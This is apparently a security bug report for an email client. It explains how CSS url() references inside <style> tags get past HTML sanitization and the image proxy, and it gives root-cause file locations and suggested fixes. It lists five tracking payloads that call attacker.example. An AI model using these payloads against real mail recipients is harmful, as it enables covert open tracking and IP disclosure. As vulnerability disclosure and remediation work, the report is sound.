[Security] CSS url() in <style> tags survives email sanitization - open tracking + IP leak bypassing image proxy

Summary

CSS url() references inside <style> tags survive the entire email sanitization pipeline, defeating the image proxy's purpose (open-tracking protection + IP leak prevention).

Root cause

Three facts compose:

1. <style> tags are not forbidden by the mail-rendering DOMPurify config. packages/sanitize/src/purify.ts:45-46 — the protonizer config sets FORBID_TAGS: ['form', 'video', 'audio'] only (deliberately allowing style, "will be processed by juice afterward"). Note the default DEFAULT config at line 37 does forbid style — the gap is protonizer-specific.

2. transformStylesheet never neutralizes url(). packages/mail-renderer/helpers/transforms/transformStylesheet.ts:108-115 only rewrites overlay position, height-dependent media queries, and min-height — url() (background-image, @import, @font-face, cursor, etc.) is left untouched.

3. The image proxy only rewrites <img> tags, not CSS URLs — so url() fetches go directly to the attacker's server, exposing the recipient's IP and confirming the email was opened.

Rendering pipeline confirmed: packages/mail-renderer/helpers/transforms/transformEscape.ts:3 imports protonizer from @proton/sanitize/purify.

Payloads that survive

<style>body { background: url(https://attacker.example/track1) }</style>
<style>@import url(https://attacker.example/track2);</style>
<style>.x { background-image: url(https://attacker.example/track3) }</style>
<style>@font-face { src: url(https://attacker.example/track4) }</style>
<style>@import "https://attacker.example/track5";</style>

Impact

• Email open tracking (read receipts) — bypasses the image proxy that exists specifically to prevent this.
• Recipient IP address disclosure to the sender.
• For a privacy-first product this contradicts a core user expectation. Severity: Low–Medium.

Suggested fix

Neutralize url() inside <style> content in transformStylesheet.ts (e.g., reuse the existing escapeURLinStyle helper from packages/sanitize/src/escape on styleTag.textContent), and/or forbid <style> in the protonizer config (matching the DEFAULT config), or route CSS subresources through the proxy.

Start with packages/sanitize/src/purify.ts:45-46 and packages/mail-renderer/helpers/transforms/transformStylesheet.ts:108-115, then trace the protonizer import in transformEscape.ts. Check the listed style payloads through the email sanitization and rendering pipeline. Done means CSS url() resources no longer bypass sanitization or the image proxy.